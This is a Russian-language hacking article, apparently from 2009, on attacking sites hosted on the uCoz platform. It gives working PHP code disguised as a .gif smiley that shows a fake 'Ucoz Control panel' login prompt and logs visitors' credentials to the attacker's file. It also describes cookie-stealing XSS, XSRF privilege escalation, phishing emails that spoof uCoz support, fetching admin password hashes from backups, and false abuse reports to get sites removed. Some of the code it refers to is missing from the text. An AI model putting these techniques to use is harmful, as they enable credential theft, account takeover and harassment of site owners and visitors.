Главная » Файлы » Статьи по Ucoz |
27.12.2009, 19:50 | |
Итак, начнем... Для начала нажно зарегистировать хост с поддержкой php (например http://mysite.phphost.net) . После регистрации льем на фтп скрипт и ставим права на пустой .txt файл, например : passwords.txt (сюда будут присылаться пассы пользователей похаканного сайта), и на файл smile.gif. Также скачайте любой смайлик в расширении .gif (типа cool.gif). Затем откройте блокнот, да простой блокнот и напишите следующее:
Code header("Content-type: image/gif"); $image = imagecreatefromgif('cool.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="Ucoz Control panel"'); } elseif($login) { setcookie('LOGON',md5($pass)); $f = fopen('passwords.txt', 'ab'); fwrite($f, $login." ||| ".$pass."\r\n"); fclose($f); } } imagegif($image); imagedestroy($image); ?> Как только вы напишите всё - сохраните файл под названием smile, потом поменяйте расширение на gif.
И нажмите ОК. Если после этого в миничате вместо сообщения появился смайлик - значит радуйтесь, т.к. сайт - уязвимый. После этого у всех кто будет заходить на данную страницу, (в этом примере это http://target.ucoz.ru/) будет появлятся форма в которую нужно будет ввести логин и пароль. У вас при входе на сайт такая форма будет появлятся тоже. И все, введеные логины и пароли в эту форму будут отсылатся в пустой файл passwords.txt, который вы создали в самом начале и залили на фтп. Удачи! Практикуйтесь. Только на некоторых сайтах эта уязвимость может и не пройти. Но стандрартно созданный юкозовский сайт без доп. своих настроек будет уязвим. Всем спасибо за просмотр, надеюсь статья вам поможет =))) Вступление Начнём с того, что паблик уязвимостей на укозе пока не обнаружено. Это факт. Поэтому можете не насиловать Bugtraq. Укоз вообще не предоставляет возможность установки php скриптов мотивируя это тем что начинающие могут своими скриптами повредить сам укоз . Итак что мы имеем. 1) Активная XSS при включенном HTML Если разрешено вставлять в сообщения (приватки, коменты, посты в миничате…) HTML код то пишем скрипт наподобие: Делаем сниффер на сайте с php (как ищите сами – сети полно самых разных php снифферов) или юзаем готовые сервисы. Теперь смотри в логи сниффа и ждём пока в них появится кука админа. Если можно вставлять HTML но куки защищены это не значит что всё потеряно. Можно сделать XSRF - пишешь ява скрипт, который когда на него зайдёт админ, от его имени пошлёт запрос и сделает тебя админом или хоть как-то повысит твои права. Скрипт дать не могу т.к. тут всё зависит от конкретной ситуации. Я думаю, вам не составит особого труда написать такой или спросить на форуме. Вообще разрешение на вставку HTML это очень серьёзная прореха в безопасности т.к. возможности XSS и XSRF практически ничем не ограничены и кража кук и подделка запросов это лишь простейший пример их использования. Можно ещё замутить фейк - опять же если разрешён HTML ява скриптами делаешь окошко с полем ввода пароля и ждёшь пока доверчивый админ введёт туда свои данные которые пересылаешь на сниффер. Можно так же сделать простой авто переход на заранее подготовленный фейк сайта: Цитата: Но тут есть проблема – в строке адреса будет совсем другой сайт. Поэтому при создании таких фейков следует использовать сам юкос во-первых – готовыми шаблонами можно быстро содать похожий сайт, во вторых зарегать сайт с визуально похожим доменом и таким же доменом второго уровня можно лишь там. Отправляем жертве сообщение с вставкой: Где smile.gif вовсе не картинка а php сниффер, который либо крадёт куки, либо, если куки защищены, выводит форму ввода пароля. Подробности по этому методу можно прочитать здесь. 5) Имитация взлома Уж сколько бы укоз не утверждал что он никогда не просит выслать им пароли клиентов есть обстоятельство где они от этих правил отступают. Если вы взломали сайт на укозе и его бывший админ оказался слишком настойчив в своих жалобах, то вам на мыло (то которое значится в настройках сайта) прийдет письмо такого формата: Цитата:От кого: Какой был самый первый пароль от панели управления? -- Внимание! При ответе обязательно сохраняйте цитирование переписки. Никто не мешает нам послать это письмо админу, подделав обратный адрес abuse@ucoz.ru и поле заголовка Reply-to: указать настоящее мыло, что бы пароли ушли к нам, а не на подделанный адрес. Цитата:От: UcoZ Здравствуйте, Имя_админа. Ваш сайт адрес_сайта был признан неактивным и отключен в соответствии У Вас есть 15 дней, чтобы восстановить сайт, перейдя по следующей ссылке: Прочтите наши Условия использования: http://www.ucoz.net/main/?a=terms Всего наилучшего. Такие письма отправляются скриптом поэтому прийдётся отправлять его ночью - см дату. Укоз позволяет сделать резервную копию сайта, правда восстановить сайт из неё можно только за деньги . Несмотря на это юзеры часто делают себе backup сайтов, толи на память, толи посмотреть, как он выгладит. Суть в то что архив находится (по крайней мере находился когда-то) по адресу http://адрес_сайта.ucoz.ru/имя_архива.zip Не сложно заметить что изменилось только 3 символа! Это даёт возможность относительно быстро подобрать путь к backup. Вполне возможно что такое положение дел уже изменилось. Укоз очень часто меняет формат содержимого backup-а, но я думаю вам не составит труда найти в нём users.txt а в нём запись типа: $1$4/E2$.BS0ZiRl7mtENwlcpc3D31 - это хеш пароля админа, по формату хеша можно сказать что это MD5(Unix) где 4/E2 – это привязка, а .BS0ZiRl7mtENwlcpc3D31 – сам хеш. Багов не так много, но иногда встречаются пассивные XSS, например, недавно кто то на античате находил пассивку на официальном сайте юкоса. Багу кажется, прикрыли но есть все шансы что они ещё проявятся – следите за сообщениями на форумах. Недостаток бесплатных хостингов – ваш сайт могут закрыть при первой же жалобе, даже если ту написал Вася Пупкин. По этому в приличной форме жалуемся по адресу abuse@ucoz.ru на неугодный сайт. Говорим что там выкладывают детское говно, призывают к экстримизму и что админ вообще глава Оркаидо. Для убедительности всем выше перечисленным можно заспамить форум. Если админ не успеет почистить сайт то его с большой вероятность удалят. Это и протроянивание, и угон мыла с восстановлением пароля к сайту и подбор пароля к админке и СИ. Угнать полностью сайт на юкосе не так просто из за секретного вопроса... Даже если ты завладеешь Вот, собственно, и все. | |
Просмотров: 4610 | Загрузок: 0 | Рейтинг: 3.6/9 |
Всего комментариев: 0 | |